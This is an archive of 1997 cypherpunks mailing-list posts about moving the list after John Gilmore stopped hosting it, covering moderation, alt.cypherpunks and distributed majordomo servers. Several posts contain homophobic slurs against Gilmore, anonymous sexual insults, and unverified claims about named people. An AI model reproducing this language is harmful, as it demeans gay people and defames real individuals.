Date: Wed, 12 Feb 1997 02:16:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Any info on Rep. Goodlatte's SAFE act?
Message-ID: <3.0.1.32.19970212031634.006ad598@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have any information on Congressman Goodlatte's S.A.F.E. act?

Aaron out.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 02:05:18 -0800 (PST)
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702062136.VAA00239@server.test.net>
Message-ID: <199702120947.DAA01858@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Adam Back wrote:
> 
> 
> Igor Chudov <ichudov@algebra.com> writes:
> > so we have myself, Jim Choate, and you who colunteer to host
> > mailing lists for the distributed cypherpunks.
> > 
> > I have already created majordomo@algebra.com and cypherpunks@algebra.com.
> > 
> > We can coordinate our efforts. Actually, we can even have a mini
> > mailing list for people who want to participate in the distributed
> > cypherpunks experiment. If there is any interest, I can create such 
> > a list.
> 
> Please do.

The list is called cypherpunks-hosts@algebra.com. 

Use majordomo@algebra.com to sub-scri-be.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "NetSurfer" <netsurf@pixi.com>
Date: Wed, 12 Feb 1997 08:14:20 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re: Military/Intelligence URL
Message-ID: <199702121614.GAA22546@mail.pixi.com>
MIME-Version: 1.0
Content-Type: text/plain



You can also get there with http://www.sagal.com/ajax/ which is the root
frames page for the url you give below

----------
From: harka@nycmetro.com
Here an page, that deals with various intelligence and military
institutions...
 In> http://204.180.198.56:80/ajax/ajax.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 06:40:10 -0800 (PST)
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: New group
In-Reply-To: <33019178.58622842@news.demon.co.uk>
Message-ID: <3301D5FE.26F7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley wrote:
> Well despite the obvious problems of propogation I thought it was time
> someone actually did something to get us a new home, even if it`s only
> temporary. So I have created alt.cypherpunks... See you all over on
> usenet!...

I pressed the URL alt.cypherpunks and my Netscape server said
"no such thing" or words to that effect.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 06:51:53 -0800 (PST)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Germany Versus Scientology
In-Reply-To: <Pine.BSI.3.91.970211162658.4364B-100000@kizmiaz.dis.org>
Message-ID: <3301D8B7.4F35@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz wrote:
> Evil se7en <se7en@dis.org> writes:
> > I have posted a rather lengthy story about Germany's war against the
> > Scientologists. It was long enough to preclude mailing it directly to the
> > lists, so I have put it on my web site. You may find it at:

> Heh, the top German Gov't anti-$cientoligist:
> "The state is obliged to protect its citizens from totalitarian
>  organizations."
> I just love this whole thing. It's like two neighborhood bullies going
> at it in the school yard. It doesn't matter who wins, as long as it's
> long and bloody.

If it were "just bullies", we could all sleep easier at night.
Alas, this is the next-generation manifestation of the anti-anti-
Holocaust laws that have been in place for 40-50 years in Germany.

There must be other countries with strong legal traditions similar
to this one.  Makes the picture much more complex.  And don't forget,
the conditions of Scientology's new tax exempt status are still secret.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 12 Feb 1997 06:55:54 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: whois cypherpunks.org ?
Message-ID: <3.0.32.19970212065157.006f2d7c@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 08:04 PM 2/11/97 -0500, John Young wrote:

[Trying whois]

Eric Hughes and John Gilmore are fouders of this list. Aleph1 is the
moderator of the famous bugtraq mailing list.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Wed, 12 Feb 1997 06:07:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: URLs for public keys
Message-ID: <199702121407.HAA24520@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Deceptive Vinegar's aberrant sexual life has negatively impacted his
mental integrity.

   ____
   \ _/__ Deceptive Vinegar
    \\  /
      \/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 12 Feb 1997 07:10:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Forgery detection
Message-ID: <199702121510.HAA05328@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[rook] Maya's police record is many times 
longer than his prick (well, that's not hard).

 /\        /\
+  \______/  +
   / .  . \
  <   /    >
   \ \--/ /
    ------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 12 Feb 1997 04:56:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <33008CCE.28E0@gte.net>
Message-ID: <Pine.LNX.3.95.970212072753.3144A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 11 Feb 1997, Dale Thorn wrote:

> John Gilmore wrote:
> > Sandy hit a pothole in the moderation experiment when Mr. Nemesis
> > submitted a posting containing nothing but libelous statements about
> > Sandy's employer.  He never anticipated that he wouldn't be able to
> > follow his announced "post it to one list or the other" policy because
> > to do so would make him legally liable (in his opinion; he's a lawyer,
> > I'm not).  

That was just -bullshit-  There is no legal liability whatsoever
to the moderating of any mailing list.  All Sandy did was make an
excuse to be a censor.

> > His gears jammed, and the whole machine came to a halt for
> > a few days.
> 

The whole machine is broken, so throw it away.

> Naturally he hit a pothole.  Censorship has its price, and you
> folks just discovered it.  But censors never give up, do they?
> Especially when there are hidden agendas.
> 
> > Sandy has agreed to continue moderation through the end of the
> > original 1-month experiment (through Feb 19).  And it's a good thing,
> > too, because the "cypherpunks community" had better get off its
> > whining butt in the next ten days, or it will no longer exist.
> 
> John Gilmore is so disrespectful of the human beings on this list
> that he whines and complains about their "attitudes", as though
> he had a right to control them.  What a jerk.
> 

Yes, and just why is Gilmore such a jerk?  Could his homosexuality
have anything to do with it?

> > I've come to the conclusion that I'm not willing to host the
> > cypherpunks list any more.  

Good.  You are a bad example of todays modern CyberNaut Netizen, and 
queers like you should go away, so we can clean up this InterNet and
make it a good place for straight people.

> > It's not the true assholes that brought me
> > to this decision; it's the reaction from the bulk of people on the
> > list: suspicion, flamage, and criticism with every attempt to improve
> > things.  I noticed few people volunteering some of their own time,
> > money, or machines to help out.  Almost all the suggestions were
> > advice for *other* people to implement:
> 

Maybe they just wanted you to leave, Gilmore.  After all, your EFF has
ruined the reputation of the InterNet, and your homosexuality is a bad
sign.  Homos should not be allowed to have any authority positions
anyplace on the net.

> Not willing because of some additional burden?  No.  It's because you
> were outed as a censor and a jerk, and you can't get back the respect
> you previously had.  The sour grapes you're displaying here are worthy
> of a little child, not an adult.
> 
> > Now each of these posters will get their chance to do it "right" --
> > on their own time and with their own resources.
> 
> Read: I'm gonna take my bat and ball and go home...
> 

Let us hope that the whole EFF goes down the drain with him.

> > A large fraction of the list seems to think that "freedom of speech"
> > means that everyone is required to listen to everyone else at all
> > times.  That there can't be focused, topical conversations in a
> > society that has freedom of speech.  I would say the opposite; part of
> > freedom of speech is the freedom to choose to whom we speak and to
> > whom we listen.  This is part of what cryptography does: lets us
> > control who can receive our speech, and lets recievers determine who
> > the speaker is.
> 
> Everything was fine until you decided to screw it up.  Then your
> emotional, denying little brain trys to blame it on everyone else.
> 

Another common sign of a homosexual personality.

> > There also seems to be a misunderstanding that freedom of speech
> > requires that people who want to speak already have a place, set up
> > and maintained by someone else, for them to speak in.
> 
> There are places to speak, and people try to speak in those places.
> When they are cut off, then they complain.  Nobody complained before
> you had an open forum that you weren't providing same.  That's your
> denial kicking up, not mine.
> 
> > If someone
> > who's set up a speech-place decides it isn't being used for its
> > intended purpose, then they are a censor, stopping all possibility of
> > conversations.  Did you forget that there are millions of other places
> > to speak in cyberspace, millions more in realspace, and that you can
> > personally create more if you don't like any of the ones you know about?
> 

This all goes to usenet as mail.cypherpunks, you know.

> Intended purpose?  Did you really believe that setting up an open
> forum gave you the right (or any option) to control the content?
> Are you so immature that you can't handle complaints?
> 
> > To paraphrase Zappa, you wouldn't know censorship if it bit you on the
> > ass.  You think you're being censored when you're just being excluded
> > from a forum because what you're saying isn't interesting to that forum.
> 

Zappa is irrelevant here.  And stop trying to sell censorship as
whatever is "interesting" to that forum.  

> I know a lot of things, especially after they've bit be in the ass.
> Especially about censors and CIA-related trolls like yourself, who
> set up forums to collect info on unsuspecting American citizens.
> Made any "yeti" expeditions lately?
> 
> > So anyway, I'm tired of it all.  I'd much rather focus on getting my
> > crypto work done than babysitting majordomo, tracking down attempts to
> > subscribe the entire US Congress to the list, and debating the seventy
> > or eighty "obvious right ways" to handle the list.
> 
> Read: I need to find a new troll that's not being sabotaged by
> alert citizens.
> 
> > This is a "put up or shut up" to the cypherpunks community.
> > Either you list denizens will, among yourselves, put in the energy to
> > build a new home for the list (and run it in whatever way your
> > volunteers want) by Feb 20, or the list will cease to exist on Feb 20.
> 

You can start any new list you want at cypherpunks@pgh.org

They will provide a free address and majordomo location.
And the mail.cypherpunks newsgroup shall suffice for now.

You leaving is no big thing, dude.

> Jeez, do you have an ego or what?  Who died and made you the king?
> Your only claim to fame is your equipment that's hosting the list.
> Your reputation is in the toilet.  You're nobody.  In fact, you're
> less than nobody.  Your best bet would be to crawl into a hole and
> pull the dirt in over you.
> 
> > The next ten days of moderated discussion, through the end of the
> > original experiment, will give the community a chance to discuss
> > whether and where it plans to host the list after the experiment is
> > over.  My feeling is that the stalkers who have been trying to shut it
> > down (Dimitri, etc) will be out in full force, trying to disrupt the
> > process of finding a new home.  It would be very hard to make progress
> > along that line in an unmoderated list.  Cypherpunks-unedited readers
> > are welcome to try.
> 
No, I will fix up a new address where Dimitri or anyone can run the
majordomo for free, if he wants.

> Yet another accusation that Dimitri's purpose is to "shut it down".
> The very fact that it's you who have the com puts the lie to that.
> 
> > Sandy reports that he's changing his criteria for moderation for the
> > remainder of the experiment.  It was his idea, and I approve.  The
> > criteria now are:
> 
> Another experiment run by the same incompetent bozo who screwed up
> the first experiment.  Don't you clowns ever get it?  You do, but
> then again, you have a hidden agenda.
> 
> >         *  The topics of the list are:
> >                 cryptography
> >                 setting up replacements for cypherpunks@toad.com
> >         *  On-topic, legal, posts will go to the list.

Now just WHAT the fuck do you think is "illegal?"

> >         *  Postings with any hint of legal liability (in Sandy's opinion)
> >            will be silently ignored.

Sandy is not a very smart Lawyer, and he is only using that as an
excuse to censor.

> >         *  Legal but off-topic posts will go to cypherpunks-flames.
> > 
> > Sandy will apply these criteria retroactively to the backlog (of about
> > 140 messages), which means that most recent criticisms of the
> > moderation (which don't invove someone volunteering to do things for
> > the list) will go straight to the flames list.  If you don't like it,
> > I recommend that you start your own list.  Soon.
> > 
> > For me it's a sad thing that the community's willingness to pull
> > together has degenerated to the point where I feel better off
> > separating from the list.  I hope that others in the community will
> > create one or several alternatives that work better.
> 

Face it John Gilmore, you are a known queer and queers are not
allowed to have any authority positions any more, because they
are the ones who have aggregated and ruined the InterNet so far.
Queers are too unstable and untrustworthy, as has been shown again in
this instance.

> So you think you've fulfilled your obligation?  There's only one
> thing that will ever save you.  Get down on your knees and confess,
> saying to God and the list subscribers what a pathetic sinner you
> are, and beg for their forgiveness.  Then get to work for the people,
> and give up trolling for the feds.
> 

Just get rid of John Golmore, and that will be the first step in the
right direction.  The entire EFF is a BAD agency and it gives a bad
reputation to the rest of us good Organizations.

aga administrator
InterNet Freedom Council
ifc@pgh.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 05:02:32 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702120554.VAA07252@toad.com>
Message-ID: <199702121259.HAA05261@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com wrote:
| i have already set up majordomo@algebra.com and cypherpunks@algebra.com 
| and can join.

	While compitition is great (I think this is the second
replacement list?), having multiple cypherpunks lists is a recipie for
confusion and cross-posting, which there is already enough of on
cypherpunks.

	So, I'll make the following suggestion:

	Those who are willing to create lists work together so
that there is a single subscribe address, and a single submit address,
however many exploders exist.

	I would personally prefer to see the name cypherpunks lay
fallow for a while, and suggest cpunks or something similar.

	Note that I'm doing nothing more than making a suggestion.
Take it as my considered enthusiasm for the continuation of
cypherpunks as a list.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rah@shipwright.com (Robert A. Hettinga)
Date: Wed, 12 Feb 1997 05:22:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks lives! was Re: New group
In-Reply-To: <33019178.58622842@news.demon.co.uk>
Message-ID: <199702121322.IAA16222@maildeliver0.tiac.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


c'punks:

I went to look at news this morning, and I found the following:


In article <33019178.58622842@news.demon.co.uk>, paul@fatmans.demon.co.uk
(Paul Bradley) wrote:

| Well despite the obvious problems of propogation I thought it was time
| someone actually did something to get us a new home, even if it`s only
| temporary. So I have created alt.cypherpunks... See you all over on
| usenet!...


It seems this alt.cypherpunks thing was a lot easier than it looks.

Either that, or I have a clueful newsadmin. :-)

Cheers,
Bob

-- 
Robert Hettinga
e$
44 Farquhar Street
Boston, MA 02131
The e$ Home Page:  http://thumper.vmeng.com/rah/




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "KENNETH A. LEONE" <70401.3161@CompuServe.COM>
Date: Wed, 12 Feb 1997 05:25:56 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: REMOVE MY NAME
Message-ID: <970212132408_70401.3161_IHD71-2@CompuServe.COM>
MIME-Version: 1.0
Content-Type: text/plain


PLEASE DO NOT FORWARD FURTHER CYPHERPUNKS MESSAGES TO MY E-MAIL ADDRESS.  THANK
YOU.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Wed, 12 Feb 1997 06:01:23 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <Pine.LNX.3.95.970212072753.3144A-100000@dhp.com>
Message-ID: <3301CE12.4388@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> 
> That was just -bullshit-  There is no legal liability whatsoever
> to the moderating of any mailing list.  All Sandy did was make an
> excuse to be a censor.

  I hate censors Dr. Grubor.  Dave says hate is a destructive 
emotion but when properly channeled it can be quite valuable.
 
>> > His gears jammed, and the whole machine came to a halt for
>> > a few days.
>>
> 
> The whole machine is broken, so throw it away.
> 
>> Naturally he hit a pothole.  Censorship has its price, and you
>> folks just discovered it.  But censors never give up, do they?
>> Especially when there are hidden agendas.

  And they all have hidden agenda's--you've just seen this one
is all as it was so blatant.


>> John Gilmore is so disrespectful of the human beings on this list
>> that he whines and complains about their "attitudes", as though
> > he had a right to control them.  What a jerk.
> 
> Yes, and just why is Gilmore such a jerk?  Could his homosexuality
> have anything to do with it?
> 

  I doubt his sexual preference has anything to do with anything
nor is it relevant.  Gilmore is just a censorous asshole--the
reasons for him being that way are rather irrelevant.


> Maybe they just wanted you to leave, Gilmore.  After all, your EFF has

  The EFF is a disgrace--they represent the interests of owners not
users--their money comes from large corporate sources and they
are nothing more than corporate whores as the ACLU has made clear.


> Just get rid of John Golmore, and that will be the first step in the
> right direction.  The entire EFF is a BAD agency and it gives a bad
> reputation to the rest of us good Organizations.

  Gilmore has no ethics--he's owned and operated by corporate
interests.

                           Steve


> 
> aga administrator
> InterNet Freedom Council
> ifc@pgh.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 09:02:19 -0800 (PST)
To: Greg Broiles <ichudov@algebra.com (Igor Chudov)
Subject: Re: List for discussing many majordomos
In-Reply-To: <199702120059.SAA20410@manifold.algebra.com>
Message-ID: <v03007801af27a9229bba@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:46 PM -0800 2/11/97, Greg Broiles wrote:

>At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote:
>
>>We can coordinate our efforts. Actually, we can even have a mini
>>mailing list for people who want to participate in the distributed
>>cypherpunks experiment. If there is any interest, I can create such
>>a list.
>
>Yes, this is a good idea. One of the proponents of the "many majordomos"
>project apparently has plans to impose his own ideas about intellectual
>property on the project, and this seems like a pretty serious thing for a
>setup that's allegedly going to prevent censorship. We need a place to
>discuss this.

I've noticed the same thing, and this is part of why I'm so skeptical of
the "many majordomos" notion. Some of the proponents have their own notions
of who is fit to be in their system, and which topics are appropriate.

If alt.cypherpunks gets wide propagation, I expect that'll be where I post
the bulk of my stuff.

By the way, several people have stepped forward to offer to host "the list"
(?) on their Linux boxes, or spare CPU cycles they have somewhere. It's
important that such offers be weighed carefully in terms of how serious the
commitment is, and how long the service might last.

(For you old-timers, we wouldn't want to have a repeat of the situation
where a remailer went down because "I took my laptop with me on vacation to
Spain.")

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 07:11:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Network of majordomos (fwd)
Message-ID: <199702121517.JAA01295@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 11 Feb 1997 13:09:22 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Network of majordomos
> 
> I still think you're just rediscovering Usenet technology. Instead of
> installing Majordomo, why not install INN, pass traffic as newsgroup(s) (if
> you don't like alt.cypherpunks, you could simply start your own top-level
> cpunks group(s)), and leave your NNTP port(s) open (or read-only, if you're
> an evil CIA brain-stealing censor) so that cpunks at large could connect with
> newsreaders or their own servers and send/rcv newsgroup traffic? Many cpunks
> could do this (instead of using Majordomo) locally, connecting to each other
> to achieve wide propagation and low latency.
> 
> And, if you must, run mail-to-news gateway(s) which send the newsgroup to
> people who want it as E-mail.
> 
> Usenet technology does exactly what you're describing: it's a distributed
> database of messages designed to facilitate each server getting its own copy
> of every message, and holding it locally for distribution to interested
> readers. Other people have been kind enough to write, debug, and document the
> software - all you have to do is install it. This could be running tonight. 

Did you get it running last nite Greg? When do you expect to be able to
handle traffic?

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 07:17:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
Message-ID: <199702121523.JAA01309@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 11 Feb 1997 11:48:05 -0800
> From: "Timothy C. May" <tcmay@got.net>
> Subject: Re: Recommendation: Creation of "alt.cypherpunks"

> Since posting my comments I've just seen the proposal that tivoli may host
> a list. Fine with me. But I wonder how long Tivoli and its parent company,
> IBM, will tolerate such things as postings of dumpster divings at Mykotronx
> and RSADSI, of deliberate slams against Tivoli products (a la the case John
> Gilmore referred to this morning), postings about assassination markets,
> and so on.

Whoah Nelly. Tivoli - IBM has NOTHING to do with either my actions or
those of anyone else involved in this. Where exactly did you get this
information? It certainly hasn't come across any cpunks postings that I
have seen.

Check your facts bud.

                                                        Jim Choate
                                                        CyberTects
                                                        (not Tivoli -IBM)
                                                        ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 12 Feb 1997 02:07:51 -0800 (PST)
To: tcm@got.net
Subject: New group
Message-ID: <33019178.58622842@news.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Hi all, 

Well despite the obvious problems of propogation I thought it was time
someone actually did something to get us a new home, even if it`s only
temporary. So I have created alt.cypherpunks... See you all over on
usenet!...

Best regards...

Paul Bradley






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pjb@23kgroup.com (Paul J. Bell)
Date: Wed, 12 Feb 1997 08:29:01 -0800 (PST)
To: geer@openvision.com
Subject: No Subject
Message-ID: <9702121613.AA21509@23kgroup.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone know if Dan Geer is still receiving e-mail at:
geer@openvision.com ?  Dan, are you?

cheers,
	paul





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 12 Feb 1997 12:23:59 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Cypherpunks Mailing List
Message-ID: <199702121937.LAA10820@cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Gilmore
I know that this list has become something of a dead albatross with you, but
I was wondering if you would be willing to do the whole of us another favor.

As you have stated that this list will no longer reside on your machine any
longer.

And as several people have put forward thier own machines upon which to host
this forum in the future.

And as there are people who, though not currently subscribed, know about the
list and may wish to subscribe to the list in the future.

Could you please maintain at least the semblence of a list on your machine.
Not the actual list, but a pointer triggered by a post or majordomo request
concerning cypherpunks.  In this way, persons not currently subscribed but
knowledgeable about the list can find it in the future.

Such a system should be easy to set up, given that you probably already have
autoresponder bots in your hard drive, and would be a great service.

Would you please rig such a system after your deadline in place of the list
to point to which ever system currently has the most alternate traffic?
This would only need to be an interim measure as after a reasonably short
length of time people would get the idea that the list has moved.

Thank you for entertaining this request.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lile Elam <elam@art.net>
Date: Wed, 12 Feb 1997 12:20:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: House Science Subcommittee...
Message-ID: <199702121938.LAA22014@art.net>
MIME-Version: 1.0
Content-Type: text/plain



Hi folks,

I am looking for more info on the ongoing House Science subcommittee
which is about computer technology and national security. I heard they
have folks talking about encryption and why it's important to use
technology and not legislation to protect people's privacy...

Theres a short article in the nando.net paper today about this 
committee at URL: 

   http://www.nando.net/newsroom/ntn/info/021197/info5_430.html

Dan Farmer talked yesterday...

thanks,

-lile





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arley Carter <ac@twinds.com>
Date: Wed, 12 Feb 1997 09:31:13 -0800 (PST)
To: "Robert A. Hettinga" <rah@shipwright.com>
Subject: Re: alt.cypherpunks lives! was Re: New group
In-Reply-To: <199702121443.GAA20454@toad.com>
Message-ID: <Pine.HPP.3.91.970212122734.4555E-100000@hawk.twinds.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Robert A. Hettinga wrote:

> It seems this alt.cypherpunks thing was a lot easier than it looks.
> 
> Either that, or I have a clueful newsadmin. :-)
> 
The only clueful newsadmins are ex-newsadmins. :-)

Cheers:
-arc

Arley Carter
Tradewinds Technologies, Inc.
Winston-Salem, NC  USA
email: ac@twinds.com
www: http://www.twinds.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Feb 1997 12:15:32 -0800 (PST)
To: tcmay@got.net
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <v03007805af267b48b589@[207.167.93.63]>
Message-ID: <JTX12D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
> >If the people decide for creation of a new USENET newsgroup,
> >we need to think very hard about actually moving it to a different
> >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> >comp.cypherpunks, sci.crypt.cypherpunks or something like that.
> >
> >A comp.* or sci.* newsgroup, if created, has the following advantages
> >over an alt.* newsgroup:
> >
> >1) There is usually less spam in sci.* or comp.*
> >2) There are virtually no completely irrelevant flamewars
> >3) The propagation will be a lot better
> >4) More people will be able to read it because of the issue of providers
> >   not carrying alt.*.
> >
> >I see nothing that would make a sci.* or comp.* newsgroup  worse than
> >alt.* newsgroup.
> 
> Sure, and this has come up in every past discussion of creating
> "alt.cypherpunks."
> 
> But the creation of alt.cypherpunks is _easy_, and needs little permission
> or support, whereas the creation of "soc.culture.cypherpunks" or whatever
> takes work, requires a vote, blah blah blah. And so it never gets off the
> ground.
> 
> (Nor is it clear to me, and perhaps not to others, that it belongs in the
> the various places Igor mentioned. Comp.org.cypherpunks probably is the
> best fit, but then many would cite the "comp" part to try to insist that
> only _computer_ topics be discussed. Likewise, the "soc" domain would skew
> discussion...etc. "Alt" has the nice advantage of explicitly not be part of
> sci, or comp, or soc, or even talk.)
> 
> Since posting my comments I've just seen the proposal that tivoli may host
> a list. Fine with me. But I wonder how long Tivoli and its parent company,
> IBM, will tolerate such things as postings of dumpster divings at Mykotronx
> and RSADSI, of deliberate slams against Tivoli products (a la the case John
> Gilmore referred to this morning), postings about assassination markets,
> and so on.
> 
> I still feel that the time has come to move virtual forums such as ours out
> of U.S. jurisdictions. Given that most European nations are worse in some
> ways (no Holocaust denial posts allowed in "cypherpunks@foobar.de"?), I
> recommend the alt.cypherpunks as the best overall compromise.

(I apologize to everyone whose e-mail has gone unanswered this week - I've
had a bunch of other stuff to do, but I'll get to it eventually. Also, I posted
the Anshel+Goldfield zeta function paten number - do check it out.)

Random thoughts:

1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of
corprate news servers that don't carry alt.* (or even soc.*). Note that
soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-)
Another possibility is sci.crypto.cypherpunks. (True, people whose corporate
newsservers don't carry soc.* and talk.* can use dejanews - provided their
firewall lets them.)

2. It takes more work to create a comp.* newsgroup than an alt newsgroup.
It takes a vote. I'm willing to be one of the proponents and generally help
with the process. (Both I and Igor have been co-proponents of major Usenet
newsgroups - don't know about other people onthis list. :-)

3. An unmoderated Usenet newsgroup would have even ore crap than this mailing
list. I've been thinking of how to deal with crap, and with the obvious desire
by some people to delegate their decision what to read and what not to read
to other people. 

While cpunks@toad worked, one could subscribe to a filtered version offered
by at least 2 people. There was no easy way to get those articles that either
filterer considered worth reading: if you subscribed to both lists, you'd get
most articles twice.

Here's a proposal: anyone should be free to issue 'highlight' NoCeM's for the
unmoderated cypherpunks newsgroups. Perhaps there will be a 'bot immediately
highlighting submissions from well-known posters.

Someone reading the newsgroup with a nocem-enabled newsreader (such as gnu)
can choose to read only those articles that one of the filterers he trusts
has already marked as worthy of his attention. (E.g. Sandy can issue NoCeMs
to his heart's content.) However the filterer can't stop someone from not
using NoCeMs and reading the entire newsgroup traffic without incurring
moderation delays.

Most people don't have nocem-enabled newareaders yet... Which is where the
network of cypherpunks majordomos Igor's been busy creating comes in very
handy. 

When one of the nodes in the distributed cpunks2news gateway gets a submission,
it should xmit it to the other known gateways and post it to Usenet. Also it
should grab postings from the Usenet newsgroup and forward them to its mailing
list. However in addition to the unedited mailing list, some gateways can
choose to offer a filtered list controlled by one or more nocem issuers:
i.e. one might be able to subscribe to cypherpunked-filtered-by-either-
ray-or-sandy and receive articles only when the gateway receives a
nocem from one of the two listing their message-ids. (Better yet, one
might specify in the subscription which filterers to use.)
I don't think this is a very hard thing to hack up.

Sorry for the typoes: now Imust run, but I'd beinterested in the feedback on
these thoghts.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Feb 1997 12:12:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks
In-Reply-To: <v0300787caf26a49a5a97@[139.167.130.246]>
Message-ID: <aTy12D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga <rah@shipwright.com> writes:

> Hey, folks,
> 
> I thought all you had to do to create an alt.group was to have a news admin
> somewhere just make a group; send out a control message of somekind. I
> thought that alt groups didn't have to go through a charter, or voting
> process, or anything else. They just happened.
> 
> Then, everyone just has to tell their local news admin that they went to
> see it, or they can wait until their news admin sees it flying by, and adds
> it to the available groups list at his own discretion.
> 
> It's not like we want comp.cypherpunks or something, with a voting process,
> right?

